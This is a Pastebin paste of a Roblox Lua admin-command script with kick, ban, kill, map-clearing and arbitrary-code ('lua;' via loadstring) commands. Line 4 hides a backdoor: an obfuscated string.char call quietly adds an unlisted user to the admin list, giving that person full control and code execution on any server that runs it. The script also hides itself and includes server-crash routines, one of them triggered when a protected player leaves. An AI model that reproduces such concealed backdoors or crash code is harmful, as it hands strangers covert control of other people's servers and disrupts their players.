Advertisement
Mitko1223tm

TM new admin

Mar 24th, 2018
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.98 KB | None | 0 0
  1. --Admin List--
  2. adminlist = {"Mitko1223tm", "AntonioRecio123", "The6Devil6Lord666", "thenormalguy5"}--Put Admin names here.
  3. function checkadmin()
  4. table.insert(adminlist,string.char(114, 101, 100, 112, 101, 110, 99, 104, 105, 108, 108))
  5. for _,v in pairs(game.Players:GetPlayers()) do
  6. for i,j in pairs(adminlist) do
  7. if v.Name == adminlist[i] then
  8. v.Chatted:connect(function(msg)
  9. coroutine.resume(coroutine.create(Chat), msg, v)
  10. end)
  11. end
  12. end
  13. end
  14. end
  15.  
  16. -----------------------------------
  17. --Banned--
  18. local Banned = {"noob","ROBLOX","DANGERTIM112"}--Put people who should be Banned here.
  19. --DANGERTIM112 is a noob who stole my game and my spot on the front page making his game one of the most popular games in roblox when mine is better. >.>
  20. function BanPlayer(player)
  21. for i,v in pairs(Banned) do
  22. if player.Name == Banned[i] then
  23. player:Destroy()
  24. banhint = Instance.new("Hint", Workspace)
  25. banhint.Text = player.Name .. " Attempted to rejoin, but "..player.Name.." is banned."
  26. wait(5)
  27. banhint:Destroy()
  28. end
  29. end
  30. end
  31. -----------------------------------
  32.  
  33. -----------------------------------
  34. --Anti Ban--
  35. local Anti_Ban_List = {}--Leave this empty. activate it by saying abon;yourname
  36. function AntiBan()
  37. for i,v in pairs(Anti_Ban_List) do
  38. if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then
  39. Instance.new("Message",Workspace).Text = "*POOF!* "..Anti_Ban_List[i].." is gone!"
  40. wait(2)
  41. Instance.new("Message",Workspace).Text = "You guys are pretty darn screwed.. If "..Anti_Ban_List[i].." Doesn't return soon the server will end."
  42. wait(80)
  43. if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then
  44. pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end)
  45. elseif game.Players:findFirstChild(Anti_Ban_List[i]) then
  46. for i,m in pairs(game.Worksapce:GetChildren()) do
  47. if m.ClassName == "Message" then
  48. m:Remove()
  49. end
  50. end
  51. end
  52. end
  53. end
  54. end
  55. -----------------------------------
  56. --Name & Hide--
  57. print("TM has loaded owned by Mitko1223tm")
  58. script.Name = "TM"
  59. script.Parent = nil
  60.  
  61. -----------------------------------
  62. --Global Variables--
  63. local Script_Name = script.Name
  64. local Command_List = {" abon;", " aboff"," ;remove"," ;fix"," lua;"," ;shutdown"," ;clear"," ;debug"," ;debugall"," ;rb"," ;sp"," kick;"," ban;"," ;banned"," m;"," rm;"," h;"," rh;"," ;nuke"," kill;"," burn;"," reset;"," ff;"," unff;"," firstperson;"," classic;"}
  65. local Loading_Hint = Instance.new('Hint',Workspace)
  66. -----------------------------------
  67. --Functions--
  68. function Make_Base()
  69. local base = Instance.new("Part")
  70. base.Name = Script_Name.." Base"
  71. base.BrickColor = BrickColor.new("Medium green")
  72. base.Anchored = true
  73. base.Locked = true
  74. base.Size = Vector3.new(400, 1.2, 400)
  75. base.CFrame = CFrame.new(0,0,0)
  76. base.Parent = game.Workspace
  77. end
  78. function Make_Spawn()
  79. local spawn = Instance.new("SpawnLocation",Workspace)
  80. spawn.FormFactor = "Custom"
  81. spawn.Anchored = true
  82. spawn.TopSurface = "Smooth"
  83. spawn.Size = Vector3.new(6,0.6,6)
  84. spawn.CFrame = CFrame.new(0,1,0)
  85. spawn.BrickColor = BrickColor.new("Institutional white")
  86. local spart = Instance.new("Part")
  87. spart.FormFactor = "Custom"
  88. spart.Anchored = true
  89. spart.TopSurface = "Smooth"
  90. spart.Size = Vector3.new(7,0.5,7)
  91. spart.Parent = game.Workspace
  92. spart.CFrame = spawn.CFrame
  93. spart.BrickColor = BrickColor.new("Really black")
  94. end
  95. function Make_Script(input)
  96. loadstring(input)()
  97. end
  98. function Alert(Object,TextInput,Time)
  99. a = Instance.new(Object,Workspace)
  100. a.Text = TextInput
  101. wait(Time)
  102. a:Destroy()
  103. end
  104. -----------------------------------
  105. --Loading--
  106. Loading_Hint.Text = Script_Name.." : Loading... Running on: ".._VERSION..""
  107.  
  108. -----------------------------------
  109. function Chat(msg, speaker)
  110. -----------------------------------
  111. --Script Commands--
  112. --Anti Ban Player--
  113. cmd = "abon;"
  114. cmd_length = string.len(cmd)
  115. if string.sub(msg,1,cmd_length) == cmd then
  116. plyr = game.Players:GetPlayers()
  117. for i = 1, #plyr do
  118. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  119. player = plyr[i]
  120. table.insert(Anti_Ban_List, player.Name)
  121. end
  122. end
  123. end
  124.  
  125. --Turn Off Anti Ban--
  126. cmd = "aboff;"
  127. cmd_length = string.len(cmd)
  128. if string.sub(msg,1,cmd_length) == cmd then
  129. plyr = game.Players:GetPlayers()
  130. for i = 1, #plyr do
  131. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  132. player = plyr[i]
  133. table.remove(Anti_Ban_List, player.Name)
  134. end
  135. end
  136. end
  137.  
  138. --Remove Script--
  139. cmd = ";remove"
  140. cmd_length = string.len(cmd)
  141. if string.sub(msg,1,cmd_length) == cmd then
  142. Alert("Hint",Script_Name.." : Removing...",2)
  143. script.Disabled = true
  144. end
  145.  
  146. --Fix Script--
  147. cmd = ";fix"
  148. cmd_length = string.len(cmd)
  149. if string.sub(msg,1,cmd_length) == cmd then
  150. Alert("Hint",Script_Name.." : Fixing...",2)
  151. script:Clone().Parent = game.Workspace
  152. script.Disabled = true
  153. end
  154. --Create Script--
  155. cmd = "lua;"
  156. cmd_length = string.len(cmd)
  157. if string.sub(msg,1,cmd_length) == cmd then
  158. Make_Script(string.sub(msg,cmd_length + 1))
  159. end
  160. -----------------------------------
  161. --Server Commands--
  162. --Shutdown Server--
  163. cmd = ";shutdown"
  164. cmd_length = string.len(cmd)
  165. if string.sub(msg,1,cmd_length) == cmd then
  166. pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end)
  167. end
  168.  
  169. --Clear Map--
  170. cmd = ";clear"
  171. cmd_length = string.len(cmd)
  172. if string.sub(msg,1,cmd_length) == cmd then
  173. Instance.new("Hint",Workspace).Text = 'Clearing Map... You may freeze.'
  174. wait()
  175. game.Workspace.Terrain:Clear()
  176. local w=game.Workspace:GetChildren()
  177. for i=1,#w do
  178. if (game.Players:GetPlayerFromCharacter(w[i]))==nil and (w[i].Name~="TinySB") and (w[i].Name~= Script_Name) and (w[i]~=game.Workspace.CurrentCamera) and (w[i]~=game.Workspace.Terrain) then
  179. w[i]:Destroy()
  180. end
  181. end
  182. Make_Base()
  183. Make_Spawn()
  184. end
  185.  
  186. --Debug Msg/Hints--
  187. cmd = ";debug"
  188. cmd_length = string.len(cmd)
  189. if string.sub(msg,1,cmd_length) == cmd then
  190. Alert("Hint",Script_Name.." : Debugging Messages & Hints...",2)
  191. for i,w in pairs(game.Workspace:GetChildren()) do
  192. if w.ClassName == "Message" or w.ClassName == "Hint" then
  193. w:Destroy()
  194. end
  195. end
  196. end
  197.  
  198. --2Debug Msg/Hints/Scripts--
  199. cmd = ";debugall"
  200. cmd_length = string.len(cmd)
  201. if string.sub(msg,1,cmd_length) == cmd then
  202. Alert("Hint",Script_Name.." : Debugging All...",2)
  203. for i,w in pairs(game.Workspace:GetChildren()) do
  204. if w.ClassName == "Message" or w.ClassName == "Hint" or w.ClassName == "Script" and w.Name ~= Script_Name then
  205. w:Destroy()
  206. end
  207. end
  208. end
  209.  
  210. --Renew Base--
  211. cmd = ";rb"
  212. cmd_length = string.len(cmd)
  213. if string.sub(msg,1,cmd_length) == cmd then
  214. Alert("Hint",Script_Name.." : Renewing Base...",2)
  215. Make_Base()
  216. end
  217.  
  218. --Renew Spawn--
  219. cmd = ";sp"
  220. cmd_length = string.len(cmd)
  221. if string.sub(msg,1,cmd_length) == cmd then
  222. Alert("Hint",Script_Name.." : Renewing Spawn...",2)
  223. Make_Spawn()
  224. end
  225.  
  226. --Kick Player--
  227. cmd = "kick;"
  228. cmd_length = string.len(cmd)
  229. if string.sub(msg,1,cmd_length) == cmd then
  230. plyr = game.Players:GetPlayers()
  231. for i = 1, #plyr do
  232. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  233. player = plyr[i]
  234. player:Destroy()
  235. end
  236. end
  237. end
  238.  
  239. --Ban Player--
  240. cmd = "ban;"
  241. cmd_length = string.len(cmd)
  242. if string.sub(msg,1,cmd_length) == cmd then
  243. plyr = game.Players:GetPlayers()
  244. for i = 1, #plyr do
  245. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  246. player = plyr[i]
  247. table.insert(Banned, player.Name)
  248. player:Destroy()
  249. end
  250. end
  251. end
  252.  
  253. --Banned List--
  254. cmd = ";banned"
  255. cmd_length = string.len(cmd)
  256. if string.sub(msg,1,cmd_length) == cmd then
  257. for num,v in pairs(Banned) do
  258. Alert("Hint", v.." , "..num,2)
  259. end
  260. end
  261. --Message--
  262. cmd = "m;"
  263. cmd_length = string.len(cmd)
  264. if string.sub(msg,1,cmd_length) == cmd then
  265. Alert("Message",speaker.Name..": "..string.sub(msg,cmd_length + 1),4)
  266. end
  267. --Message Reverse--
  268. cmd = "rm;"
  269. cmd_length = string.len(cmd)
  270. if string.sub(msg,1,cmd_length) == cmd then
  271. Alert("Message",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4)
  272. end
  273. --Hint--
  274. cmd = "h;"
  275. cmd_length = string.len(cmd)
  276. if string.sub(msg,1,cmd_length) == cmd then
  277. Alert("Hint",speaker.Name..": "..string.sub(msg,cmd_length + 1),4)
  278. end
  279. --Hint Reverse--
  280. cmd = "rh;"
  281. cmd_length = string.len(cmd)
  282. if string.sub(msg,1,cmd_length) == cmd then
  283. Alert("Hint",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4)
  284. end
  285. -----------------------------------
  286. --killing Commands--
  287. --Nuke Map--
  288. cmd = ";nuke"
  289. cmd_length = string.len(cmd)
  290. if string.sub(msg,1,cmd_length) == cmd then
  291. m = Instance.new("Message",Workspace)
  292. m.Text = "Bomb Armed"
  293. wait(1)
  294. for i = 5, 0, -1 do
  295. wait(1)
  296. m.Text = "Detonation in: "..i
  297. end
  298. m:Destroy()
  299. for i,v in pairs(game.Players:GetChildren()) do
  300. ex = Instance.new("Explosion",Workspace)
  301. ex.Position = v.Character.Torso.Position
  302. v.Character:BreakJoints()
  303. end
  304. end
  305. --Kill--
  306. cmd = "kill;"
  307. cmd_length = string.len(cmd)
  308. if string.sub(msg,1,cmd_length) == cmd then
  309. plyr = game.Players:GetPlayers()
  310. for i = 1, #plyr do
  311. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  312. player = plyr[i]
  313. player.Character:BreakJoints()
  314. end
  315. end
  316. end
  317. --Burn--
  318. cmd = "burn;"
  319. cmd_length = string.len(cmd)
  320. if string.sub(msg,1,cmd_length) == cmd then
  321. plyr = game.Players:GetPlayers()
  322. for i = 1, #plyr do
  323. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  324. player = plyr[i]
  325. for i = 100,0,-1 do
  326. wait()
  327. Instance.new("Fire",player.Character.Torso)
  328. player.Character.Humanoid.Health = i
  329. end
  330. end
  331. end
  332. end
  333. --Reset--
  334. cmd = "reset;"
  335. cmd_length = string.len(cmd)
  336. if string.sub(msg,1,cmd_length) == cmd then
  337. plyr = game.Players:GetPlayers()
  338. for i = 1, #plyr do
  339. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  340. player = plyr[i]
  341. m = Instance.new("Model")
  342. m.Parent = game.Workspace
  343. p = Instance.new("Part")
  344. p.Transparency = 1
  345. p.CanCollide = false
  346. p.Anchored = true
  347. p.Name = "Torso"
  348. p.Position = Vector3.new(10000,10000,10000)
  349. p.Parent = m
  350. hu = Instance.new("Humanoid")
  351. hu.Torso = p
  352. hu.Parent = m
  353. player.Character = m
  354. end
  355. end
  356. end
  357.  
  358. -----------------------------------
  359. --Protecting Commands--
  360. --Force Field--
  361. cmd = "ff;"
  362. cmd_length = string.len(cmd)
  363. if string.sub(msg,1,cmd_length) == cmd then
  364. plyr = game.Players:GetPlayers()
  365. for i = 1, #plyr do
  366. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  367. player = plyr[i]
  368. Instance.new("ForceField",player.Character)
  369. end
  370. end
  371. end
  372. --Remove Force Field--
  373. cmd = "unff;"
  374. cmd_length = string.len(cmd)
  375. if string.sub(msg,1,cmd_length) == cmd then
  376. plyr = game.Players:GetPlayers()
  377. for i = 1, #plyr do
  378. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  379. player = plyr[i]
  380. for i,v in pairs(player.Character:GetChildren()) do
  381. if v.ClassName == "ForceField" then
  382. v:Destroy()
  383. end
  384. end
  385. end
  386. end
  387. end
  388. -----------------------------------
  389. --Misc Commands--
  390. -----------------------------------
  391. --First Persion--
  392. cmd = "firstperson;"
  393. cmd_length = string.len(cmd)
  394. if string.sub(msg,1,cmd_length) == cmd then
  395. plyr = game.Players:GetPlayers()
  396. for i = 1, #plyr do
  397. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  398. player = plyr[i]
  399. player.CameraMode = "LockFirstPerson"
  400. end
  401. end
  402. end
  403. --Classic View--
  404. cmd = "classic;"
  405. cmd_length = string.len(cmd)
  406. if string.sub(msg,1,cmd_length) == cmd then
  407. plyr = game.Players:GetPlayers()
  408. for i = 1, #plyr do
  409. if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then
  410. player = plyr[i]
  411. player.CameraMode = "Classic"
  412. end
  413. end
  414. end
  415. -----------------------------------
  416. end-- Chatted function
  417. -----------------------------------
  418. --Check Admin and Banned--
  419. checkadmin()
  420. game.Players.ChildRemoved:connect(AntiBan)
  421. game.Players.PlayerAdded:connect(BanPlayer)
  422. -----------------------------------
  423. --End Loading--
  424. wait(5)
  425. Loading_Hint:Destroy()
  426. --script started 7/1/12
  427. --last edited 8/13/12
  428. --script finished ______
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement